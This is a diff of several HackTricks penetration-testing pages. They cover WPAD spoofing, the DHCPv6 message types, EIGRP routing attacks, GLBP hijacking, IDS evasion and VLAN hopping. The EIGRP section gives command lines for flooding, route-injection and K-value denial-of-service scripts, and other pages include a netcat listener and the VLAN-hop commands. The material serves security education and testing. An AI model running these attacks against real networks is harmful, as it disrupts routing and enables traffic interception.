|
||||
### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
Many browsers use Web Proxy Auto-Discovery (WPAD) to load proxy settings from the network. A WPAD server provides client proxy settings via a particular URL (e.g., [http://wpad.example.org/wpad.dat](http://wpad.example.org/wpad.dat)) upon being identified through any of the following:
|
||||
Browsers commonly employ the **Web Proxy Auto-Discovery (WPAD) protocol to automatically acquire proxy settings**. This involves fetching configuration details from a server, specifically through a URL such as "http://wpad.example.org/wpad.dat". The discovery of this server by the clients can happen through various mechanisms:
|
||||
|
||||
* DHCP, using a code 252 entry[34](https://learning.oreilly.com/library/view/Network+Security+Assessment,+3rd+Edition/9781491911044/ch05.html#ch05fn41)
|
||||
* DNS, searching for the _wpad_ hostname in the local domain
|
||||
* Microsoft LLMNR and NBT-NS (in the event of DNS lookup failure)
|
||||
- Through **DHCP**, where the discovery is facilitated by utilizing a special code 252 entry.
|
||||
- By **DNS**, which involves searching for a hostname labeled _wpad_ within the local domain.
|
||||
- Via **Microsoft LLMNR and NBT-NS**, which are fallback mechanisms used in cases where DNS lookups do not succeed.
|
||||
|
||||
The tool Responder takes advantage of this protocol by acting as a **malicious WPAD server**. It uses DHCP, DNS, LLMNR, and NBT-NS to mislead clients into connecting to it. To dive deeper into how services can be impersonated using Responder [check this](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
|
||||
Responder automates the WPAD attack—running a proxy and directing clients to a malicious WPAD server via DHCP, DNS, LLMNR, and NBT-NS.\
|
||||
Read here more information about [how to Impersonate services with Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
|
||||
### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md)
|
||||
|
||||
|
@ -786,7 +813,7 @@ TODO: easy-creds, evilgrade, metasploit, factory
|
|||
|
||||
## TCP listen in port
|
||||
|
||||
```
|
||||
```bash
|
||||
sudo nc -l -p 80
|
||||
socat TCP4-LISTEN:80,fork,reuseaddr -
|
||||
```
|
||||
|
@ -883,6 +910,9 @@ Bettercap broadcast WSD packets searching for services (UDP Port 3702).
|
|||
## References
|
||||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
* **Network Security Assessment: Know Your Network (3rd edition)**
|
||||
* **Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. By Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood**
|
||||
* [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
|
||||
|
|
|
@ -1,63 +1,53 @@
|
|||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
||||
|
||||
| DHCPv6 Message Type | DHCPv4 Message Type |
|
||||
| :--- | :--- |
|
||||
| Solicit \(1\) | DHCPDISCOVER |
|
||||
| Advertise \(2\) | DHCPOFFER |
|
||||
| Request \(3\), Renew \(5\), Rebind \(6\) | DHCPREQUEST |
|
||||
| Reply \(7\) | DHCPACK / DHCPNAK |
|
||||
| Release \(8\) | DHCPRELEASE |
|
||||
| Information-Request \(11\) | DHCPINFORM |
|
||||
| Decline \(9\) | DHCPDECLINE |
|
||||
| Confirm \(4\) | none |
|
||||
| Reconfigure \(10\) | DHCPFORCERENEW |
|
||||
| Relay-Forw \(12\), Relay-Reply \(13\) | none |
|
||||
|
||||
SOLICIT \(1\)
|
||||
|
||||
A DHCPv6 client sends a Solicit message to locate DHCPv6 servers. ADVERTISE \(2\)
|
||||
|
||||
A server sends an Advertise message to indicate that it is available for DHCP service, in response to a Solicit message received from a client. REQUEST \(3\)
|
||||
|
||||
A client sends a Request message to request configuration parameters, including IP addresses or delegated prefixes, from a specific server. CONFIRM \(4\)
|
||||
|
||||
A client sends a Confirm message to any available server to determine whether the addresses it was assigned are still appropriate to the link to which the client is connected. This could happen when the client detects either a link-layer connectivity change or if it is powered on and one or more leases are still valid. The confirm message is used to confirm whether the client is still on the same link or whether it has been moved. The actual lease\(s\) are not validated; just the prefix portion of the addresses or delegated prefixes. RENEW \(5\)
|
||||
|
||||
A client sends a Renew message to the server that originally provided the client's addresses and configuration parameters to extend the lifetimes on the addresses assigned to the client and to update other configuration parameters. REBIND \(6\)
|
||||
|
||||
A client sends a Rebind message to any available server to extend the lifetimes on the addresses assigned to the client and to update other configuration parameters; this message is sent after a client receives no response to a Renew message. REPLY \(7\)
|
||||
|
||||
A server sends a Reply message containing assigned addresses and configuration parameters in response to a Solicit, Request, Renew, Rebind message received from a client. A server sends a Reply message containing configuration parameters in response to an Information-request message. A server sends a Reply message in response to a Confirm message confirming or denying that the addresses assigned to the client are appropriate to the link to which the client is connected. A server sends a Reply message to acknowledge receipt of a Release or Decline message. RELEASE \(8\)
|
||||
|
||||
A client sends a Release message to the server that assigned addresses to the client to indicate that the client will no longer use one or more of the assigned addresses. DECLINE \(9\)
|
||||
|
||||
A client sends a Decline message to a server to indicate that the client has determined that one or more addresses assigned by the server are already in use on the link to which the client is connected. RECONFIGURE \(10\)
|
||||
|
||||
A server sends a Reconfigure message to a client to inform the client that the server has new or updated configuration parameters, and that the client is to initiate a Renew/Reply or Information-request/Reply transaction with the server in order to receive the updated information. INFORMATION-REQUEST \(11\)
|
||||
|
||||
A client sends an Information-request message to a server to request configuration parameters without the assignment of any IP addresses to the client. RELAY-FORW \(12\)
|
||||
|
||||
A relay agent sends a Relay-forward message to relay messages to servers, either directly or through another relay agent. The received message, either a client message or a Relay-forward message from another relay agent, is encapsulated in an option in the Relay-forward message. RELAY-REPL \(13\)
|
||||
|
||||
A server sends a Relay-reply message to a relay agent containing a message that the relay agent delivers to a client. The Relay-reply message may be relayed by other relay agents for delivery to the destination relay agent. The server encapsulates the client message as an option in the Relay-reply message, which the relay agent extracts and relays to the client.
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
### DHCPv6 vs. DHCPv4 Message Types Comparison
|
||||
A comparative view of DHCPv6 and DHCPv4 message types is presented in the table below:
|
||||
|
||||
| DHCPv6 Message Type | DHCPv4 Message Type |
|
||||
|:-------------------|:-------------------|
|
||||
| Solicit (1) | DHCPDISCOVER |
|
||||
| Advertise (2) | DHCPOFFER |
|
||||
| Request (3), Renew (5), Rebind (6) | DHCPREQUEST |
|
||||
| Reply (7) | DHCPACK / DHCPNAK |
|
||||
| Release (8) | DHCPRELEASE |
|
||||
| Information-Request (11) | DHCPINFORM |
|
||||
| Decline (9) | DHCPDECLINE |
|
||||
| Confirm (4) | none |
|
||||
| Reconfigure (10) | DHCPFORCERENEW |
|
||||
| Relay-Forw (12), Relay-Reply (13) | none |
|
||||
|
||||
**Detailed Explanation of DHCPv6 Message Types:**
|
||||
|
||||
1. **Solicit (1)**: Initiated by a DHCPv6 client to find available servers.
|
||||
2. **Advertise (2)**: Sent by servers in response to a Solicit, indicating availability for DHCP service.
|
||||
3. **Request (3)**: Clients use this to request IP addresses or prefixes from a specific server.
|
||||
4. **Confirm (4)**: Used by a client to verify if the assigned addresses are still valid on the network, typically after a network change.
|
||||
5. **Renew (5)**: Clients send this to the original server to extend address lifetimes or update configurations.
|
||||
6. **Rebind (6)**: Sent to any server to extend address lifetimes or update configurations, especially when no response is received to a Renew.
|
||||
7. **Reply (7)**: Servers use this to provide addresses, configuration parameters, or to acknowledge messages like Release or Decline.
|
||||
8. **Release (8)**: Clients inform the server to stop using one or more assigned addresses.
|
||||
9. **Decline (9)**: Sent by clients to report that assigned addresses are in conflict on the network.
|
||||
10. **Reconfigure (10)**: Servers prompt clients to initiate transactions for new or updated configurations.
|
||||
11. **Information-Request (11)**: Clients request configuration parameters without IP address assignment.
|
||||
12. **Relay-Forw (12)**: Relay agents forward messages to servers.
|
||||
13. **Relay-Repl (13)**: Servers reply to relay agents, who then deliver the message to the client.
|
||||
|
||||
# References
|
||||
* [https://support.huawei.com/enterprise/en/doc/EDOC1100306163/d427e938/introduction-to-dhcpv6-messages](https://support.huawei.com/enterprise/en/doc/EDOC1100306163/d427e938/introduction-to-dhcpv6-messages)
|
||||
|
||||
|
||||
<details>
|
||||
|
|
|
@ -14,151 +14,62 @@ Other ways to support HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
**This page is based on** [****](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9). Check it for further information.
|
||||
**This is a summary of the attacks exposed in** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9). Check it for further information.
|
||||
|
||||
## Understanding EIGRP Protocol Vulnerabilities <a href="#0f82" id="0f82"></a>
|
||||
## **Fake EIGRP Neighbors Attack**
|
||||
|
||||
- **Objective**: To overload router CPUs by flooding them with EIGRP hello packets, potentially leading to a Denial of Service (DoS) attack.
|
||||
- **Tool**: **helloflooding.py** script.
|
||||
- **Execution**:
|
||||
%%%bash
|
||||
~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24
|
||||
%%%
|
||||
- **Parameters**:
|
||||
- `--interface`: Specifies the network interface, e.g., `eth0`.
|
||||
- `--as`: Defines the EIGRP autonomous system number, e.g., `1`.
|
||||
- `--subnet`: Sets the subnet location, e.g., `10.10.100.0/24`.
|
||||
|
||||
**EIGRP (Enhanced Interior Gateway Routing Protocol)** is identified as a dynamic, distance-vector routing protocol. A critical vulnerability is observed if authentication or configuration of passive interfaces are neglected, leading to potential routing tables poisoning. Furthermore, the structure of the EIGRP network, or autonomous system, is non-segmented, lacking any form of zone divisions. This flat structure implies that injected routes by an attacker could propagate across the entire autonomous system.
|
||||
## **EIGRP Blackhole Attack**
|
||||
|
||||
![](../../.gitbook/assets/image (25) (1).png)
|
||||
- **Objective**: To disrupt network traffic flow by injecting a false route, leading to a blackhole where the traffic is directed to a non-existent destination.
|
||||
- **Tool**: **routeinject.py** script.
|
||||
- **Execution**:
|
||||
%%%bash
|
||||
~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32
|
||||
%%%
|
||||
- **Parameters**:
|
||||
- `--interface`: Specifies the attacker’s system interface.
|
||||
- `--as`: Defines the EIGRP AS number.
|
||||
- `--src`: Sets the attacker’s IP address.
|
||||
- `--dst`: Sets the target subnet IP.
|
||||
- `--prefix`: Defines the mask of the target subnet IP.
|
||||
|
||||
The initial step in exploiting an EIGRP system involves establishing a connection with a legitimate EIGRP router. This connection opens avenues ranging from reconnaissance to various forms of injections. To facilitate this, [**FRRouting**](https://frrouting.org/), an open-source solution, is utilized to emulate a router on Unix and Linux systems. **FRRouting** supports multiple protocols including BGP, OSPF, and EIGRP. Deployment of FRRouting on an attacker's system enables them to mimic a legitimate router within the routing domain. Detailed instructions for deploying FRR on your system will follow.
|
||||
## **Abusing K-Values Attack**
|
||||
|
||||
### Gathering Network Intelligence <a href="#41e6" id="41e6"></a>
|
||||
- **Objective**: To create continuous disruptions and reconnections within the EIGRP domain by injecting altered K-values, effectively resulting in a DoS attack.
|
||||
- **Tool**: **relationshipnightmare.py** script.
|
||||
- **Execution**:
|
||||
%%%bash
|
||||
~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100
|
||||
%%%
|
||||
- **Parameters**:
|
||||
- `--interface`: Specifies the network interface.
|
||||
- `--as`: Defines the EIGRP AS number.
|
||||
- `--src`: Sets the IP Address of a legitimate router.
|
||||
|
||||
Integration into the routing domain allows for the enumeration and reconnaissance of networks, offering a time-efficient alternative to extensive scanning. This approach not only saves time but also mitigates the risk of detection by IPS/IDS security systems. Achieving this requires the deployment of **FRRouting**.
|
||||
## **Routing Table Overflow Attack**
|
||||
|
||||
Modifications are required in the `daemons` configuration file, which controls daemon activities. Activation of the **eigrpd** daemon is necessary.
|
||||
- **Objective**: To strain the router's CPU and RAM by flooding the routing table with numerous false routes.
|
||||
- **Tool**: **routingtableoverflow.py** script.
|
||||
- **Execution**:
|
||||
%%%bash
|
||||
sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50
|
||||
%%%
|
||||
- **Parameters**:
|
||||
- `--interface`: Specifies the network interface.
|
||||
- `--as`: Defines the EIGRP AS number.
|
||||
- `--src`: Sets the attacker’s IP address.
|
||||
|
||||
```bash
|
||||
~# nano /etc/frr/daemons
|
||||
eigrpd=yes
|
||||
```
|
||||
|
||||
![](../../.gitbook/assets/image (15) (1).png)
|
||||
|
||||
Additionally, adjustments to the **vtysh.conf** file are needed to ensure configurations of various protocols are consolidated into a single file.
|
||||
|
||||
```bash
|
||||
~# nano /etc/frr/vtysh.conf
|
||||
service integrated-vtysh-config
|
||||
```
|
||||
|
||||
Post-configuration, the initiation of the FRR daemon and enabling of traffic routing (disabled by default in Linux distributions) are required.
|
||||
|
||||
```bash
|
||||
~$ sudo systemctl start frr
|
||||
~$ sudo sysctl -w net.ipv4.ip_forward=1
|
||||
```
|
||||
|
||||
![](../../.gitbook/assets/image (32).png)
|
||||
|
||||
The **vtysh** command provides access to the FRR router control panel.
|
||||
|
||||
```bash
|
||||
~$ sudo vtysh
|
||||
```
|
||||
|
||||
Example usage:
|
||||
|
||||
```bash
|
||||
root# show version
|
||||
```
|
||||
|
||||
![](../../.gitbook/assets/image (3) (2) (2).png)
|
||||
|
||||
> Note: EIGRP routing domain might be secured with authentication. However, potential access is still possible by extracting cryptographic hashes from hello packets and resetting the password.
|
||||
|
||||
In the global configuration mode, initiate the **EIGRP** process and define the autonomous system number — **1**, along with the network location.
|
||||
|
||||
```bash
|
||||
root# config
|
||||
root(config)# router eigrp 1
|
||||
root(config-router) network 10.10.100.50/32
|
||||
```
|
||||
|
||||
Post-establishment of neighbor connections with legitimate EIGRP routers (in this case, **GW1 (10.10.100.100)** and **GW2 (10.10.100.200)**), routers exchange routing information. This process results in the appearance of new routes in the attacking system's routing table, aiding in penetration testing and saving time on subnet scanning. At this stage, the system is part of the EIGRP routing domain and ready for further attack vector development.
|
||||
|
||||
![](../../.gitbook/assets/image (5) (1) (2).png)
|
||||
![](../../.gitbook/assets/image (30) (1).png)
|
||||
![](../../.gitbook/assets/image (29) (1) (2).png)
|
||||
|
||||
### Exploiting EIGRP: Attack Vectors <a href="#51ee" id="51ee"></a>
|
||||
|
||||
#### 1. Fake EIGRP Neighbors
|
||||
Mass sending of EIGRP hello packets can lead to CPU overload on routers, paving the way for DoS attacks. A script, **helloflooding.py**, is employed for this, though its packet sending speed is limited by GIL (Global Interpreter Lock). Plans to rewrite the script in C for enhanced performance are underway.
|
||||
|
||||
![](../../.gitbook/assets/image (2) (6) (1).png)
|
||||
|
||||
Script usage involves specifying:
|
||||
- Network interface (e.g., eth0)
|
||||
- EIGRP autonomous system number (e.g., 1)
|
||||
- Subnet location (e.g., 10.10.100.0/24)
|
||||
|
||||
```bash
|
||||
~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24
|
||||
```
|
||||
|
||||
![](../../.gitbook/assets/image (26) (1).png)
|
||||
|
||||
#### 2. EIGRP Blackhole
|
||||
This attack involves injecting a false route to disrupt traffic flow, commonly referred to as a Blackhole attack. The **routeinject.py** script is utilized for this purpose. For instance, redirecting traffic for `172.16.100.140/32` to a non-existent destination.
|
||||
|
||||
![](../../.gitbook/assets/image (16) (1).png)
|
||||
|
||||
Script parameters include:
|
||||
- Attacker’s system interface
|
||||
- EIGRP AS number
|
||||
- Attacker’s IP address
|
||||
- Target subnet IP and its mask
|
||||
|
||||
```bash
|
||||
~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32
|
||||
```
|
||||
|
||||
![](../../.gitbook/assets/image (20) (1).png)
|
||||
|
||||
The result is a loss of connectivity to the targeted host due to route injection.
|
||||
|
||||
![](../../.gitbook/assets/image (6) (1) (1).png)
|
||||
|
||||
#### 3. Abusing K-Values
|
||||
Mismatched K-values among EIGRP routers can disrupt the EIGRP domain. The **relationshipnightmare.py** script exploits this by injecting altered K-values, triggering continuous disruptions and reconnections within the EIGRP domain, effectively resulting in a DoS attack.
|
||||
|
||||
![](../../.gitbook/assets/image (12) (2) (1).png)
|
||||
|
||||
Script requires:
|
||||
- Network interface
|
||||
- EIGRP AS number
|
||||
- IP Address of a legitimate router
|
||||
|
||||
Injected alterations are sent from the specified IP to the multicast EIGRP IP address, causing the mismatch.
|
||||
|
||||
```bash
|
||||
~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100
|
||||
```
|
||||
|
||||
![](../../.gitbook/assets/image (9) (1) (4).png)
|
||||
![](../../.gitbook/assets/image (27) (1).png)
|
||||
|
||||
#### 4. Routing Table Overflow
|
||||
This attack floods the routing table with false routes, straining the router's CPU and RAM. The **routingtableoverflow.py** script facilitates this by rapidly sending numerous false routes.
|
||||
|
||||
![](../../.gitbook/assets/image (3) (4).png)
|
||||
|
||||
Script parameters:
|
||||
- Network interface
|
||||
- EIGRP AS Number
|
||||
- Attacker’s IP address
|
||||
|
||||
Following script execution, the routing table gets saturated with spurious routes, severely affecting router performance.
|
||||
|
||||
```bash
|
||||
sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50
|
||||
```
|
||||
|
||||
![](../../.gitbook/assets/image (4) (4).png)
|
||||
![](../../.gitbook/assets/image (21) (1).png)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -17,27 +17,27 @@ Other ways to support HackTricks:
|
|||
|
||||
## FHRP Hijacking Overview
|
||||
|
||||
### Understanding FHRP
|
||||
First Hop Redundancy Protocol (FHRP) is a protocol suite ensuring network resilience by combining multiple physical routers into a single virtual entity. This enhances load distribution and fault tolerance. Cisco Systems introduced two notable FHRP protocols: GLBP and HSRP.
|
||||
### Insights into FHRP
|
||||
FHRP is designed to provide network robustness by merging multiple routers into a single virtual unit, thereby enhancing load distribution and fault tolerance. Cisco Systems introduced prominent protocols in this suite, such as GLBP and HSRP.
|
||||
|
||||
### GLBP Protocol Details
|
||||
Developed by Cisco, GLBP (Gateway Load Balancing Protocol) operates atop the TCP/IP stack, using UDP on port 3222 for communication. Routers within a GLBP group send "hello" packets every 3 seconds. Absence of these packets for 10 seconds from a router indicates its failure. However, these timer settings are adjustable.
|
||||
### GLBP Protocol Insights
|
||||
Cisco's creation, GLBP, functions on the TCP/IP stack, utilizing UDP on port 3222 for communication. Routers in a GLBP group exchange "hello" packets at 3-second intervals. If a router fails to send these packets for 10 seconds, it is presumed to be offline. However, these timers are not fixed and can be modified.
|
||||
|
||||
### GLBP Operation and Load Balancing
|
||||
GLBP enables load sharing across multiple routers using a single virtual IP and various virtual MAC addresses. Every router in the group participates in forwarding packets. GLBP differs from HSRP/VRRP by offering true load balancing, which includes:
|
||||
### GLBP Operations and Load Distribution
|
||||
GLBP stands out by enabling load distribution across routers using a single virtual IP coupled with multiple virtual MAC addresses. In a GLBP group, every router is involved in packet forwarding. Unlike HSRP/VRRP, GLBP offers genuine load balancing through several mechanisms:
|
||||
|
||||
- **Host-Dependent:** Ensures a host receives the same AVF MAC address, preserving NAT configurations.
|
||||
- **Round-Robin:** The default mode where AVF MAC addresses are alternately distributed.
|
||||
- **Weight-based Round-Robin:** Balances load based on a predefined "Weight" metric.
|
||||
- **Host-Dependent Load Balancing:** Maintains consistent AVF MAC address assignment to a host, essential for stable NAT configurations.
|
||||
- **Round-Robin Load Balancing:** The default approach, alternating AVF MAC address assignment among requesting hosts.
|
||||
- **Weighted Round-Robin Load Balancing:** Distributes load based on predefined "Weight" metrics.
|
||||
|
||||
### GLBP Domain Roles and Terminology
|
||||
- **AVG (Active Virtual Gateway):** The primary router, distributing MAC addresses to other routers.
|
||||
- **AVF (Active Virtual Forwarder):** A router handling network traffic.
|
||||
- **GLBP Priority:** Decides the AVG, with a default of 100 and range from 1 to 255.
|
||||
- **GLBP Weight:** Indicates the router's load level, adjustable manually or via Object Tracking.
|
||||
- **GLBP Virtual IP Address:** Acts as the default gateway for connected devices.
|
||||
### Key Components and Terminologies in GLBP
|
||||
- **AVG (Active Virtual Gateway):** The main router, responsible for allocating MAC addresses to peer routers.
|
||||
- **AVF (Active Virtual Forwarder):** A router designated to manage network traffic.
|
||||
- **GLBP Priority:** A metric that determines the AVG, starting at a default of 100 and ranging between 1 and 255.
|
||||
- **GLBP Weight:** Reflects the current load on a router, adjustable either manually or through Object Tracking.
|
||||
- **GLBP Virtual IP Address:** Serves as the network's default gateway for all connected devices.
|
||||
|
||||
For communication, GLBP uses the reserved multicast address 224.0.0.102 and UDP port 3222. "Hello" packets are sent every 3 seconds, and routers are marked as "dead" if a packet isn't received within 10 seconds.
|
||||
For interactions, GLBP employs the reserved multicast address 224.0.0.102 and UDP port 3222. Routers transmit "hello" packets at 3-second intervals, and are considered non-operational if a packet is missed over a 10-second duration.
|
||||
|
||||
### GLBP Attack Mechanism
|
||||
An attacker can become the primary router by sending a GLBP packet with the highest priority value (255). This can lead to DoS or MITM attacks, allowing traffic interception or redirection.
|
||||
|
@ -137,7 +137,6 @@ Executing these steps places the attacker in a position to intercept and manipul
|
|||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
|
|
@ -35,7 +35,7 @@ Just fragment the packets and send them. If the IDS/IPS doesn't have the ability
|
|||
|
||||
# **Invalid** _**checksum**_
|
||||
|
||||
Sensors usually don't calculate checksum for performance reasons. __ So an attacker can send a packet that will be **interpreted by the sensor but rejected by the final host.** Example:
|
||||
Sensors usually don't calculate checksum for performance reasons. So an attacker can send a packet that will be **interpreted by the sensor but rejected by the final host.** Example:
|
||||
|
||||
Send a packet with the flag RST and a invalid checksum, so then, the IPS/IDS may thing that this packet is going to close the connection, but the final host will discard the packet as the checksum is invalid.
|
||||
|
||||
|
|
|
@ -7,12 +7,12 @@
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
If direct access to a switch is available, VLAN segmentation can be bypassed. This involves reconfiguring the connected port to trunk mode, establishing virtual interfaces for target VLANs, and setting IP addresses, either dynamically (DHCP) or statically, depending on the scenario (for further info check https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9).
|
||||
If direct access to a switch is available, VLAN segmentation can be bypassed. This involves reconfiguring the connected port to trunk mode, establishing virtual interfaces for target VLANs, and setting IP addresses, either dynamically (DHCP) or statically, depending on the scenario (**for further details check [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
|
||||
|
||||
Initially, identification of the specific connected port is required. This can typically be accomplished through CDP messages, or by searching for the port via the **include** mask.
|
||||
|
||||
|
@ -40,30 +40,30 @@ Switching to trunk mode will temporarily disrupt connectivity, but this can be r
|
|||
|
||||
Virtual interfaces are then created, assigned VLAN IDs, and activated:
|
||||
|
||||
```
|
||||
~$ sudo vconfig add eth0 10
|
||||
~$ sudo vconfig add eth0 20
|
||||
~$ sudo vconfig add eth0 50
|
||||
~$ sudo vconfig add eth0 60
|
||||
~$ sudo ifconfig eth0.10 up
|
||||
~$ sudo ifconfig eth0.20 up
|
||||
~$ sudo ifconfig eth0.50 up
|
||||
~$ sudo ifconfig eth0.60 up
|
||||
```bash
|
||||
sudo vconfig add eth0 10
|
||||
sudo vconfig add eth0 20
|
||||
sudo vconfig add eth0 50
|
||||
sudo vconfig add eth0 60
|
||||
sudo ifconfig eth0.10 up
|
||||
sudo ifconfig eth0.20 up
|
||||
sudo ifconfig eth0.50 up
|
||||
sudo ifconfig eth0.60 up
|
||||
```
|
||||
|
||||
Subsequently, an address request is made via DHCP. Alternatively, in cases where DHCP is not viable, addresses can be manually configured:
|
||||
|
||||
```
|
||||
~$ sudo dhclient -v eth0.10
|
||||
~$ sudo dhclient -v eth0.20
|
||||
~$ sudo dhclient -v eth0.50
|
||||
~$ sudo dhclient -v eth0.60
|
||||
```bash
|
||||
sudo dhclient -v eth0.10
|
||||
sudo dhclient -v eth0.20
|
||||
sudo dhclient -v eth0.50
|
||||
sudo dhclient -v eth0.60
|
||||
```
|
||||
|
||||
Example for manually setting a static IP address on an interface (VLAN 10):
|
||||
|
||||
```
|
||||
~$ sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
|
||||
```bash
|
||||
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
|
||||
```
|
||||
|
||||
Connectivity is tested by initiating ICMP requests to the default gateways for VLANs 10, 20, 50, and 60.
|
||||
|
@ -81,7 +81,7 @@ Ultimately, this process enables bypassing of VLAN segmentation, thereby facilit
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
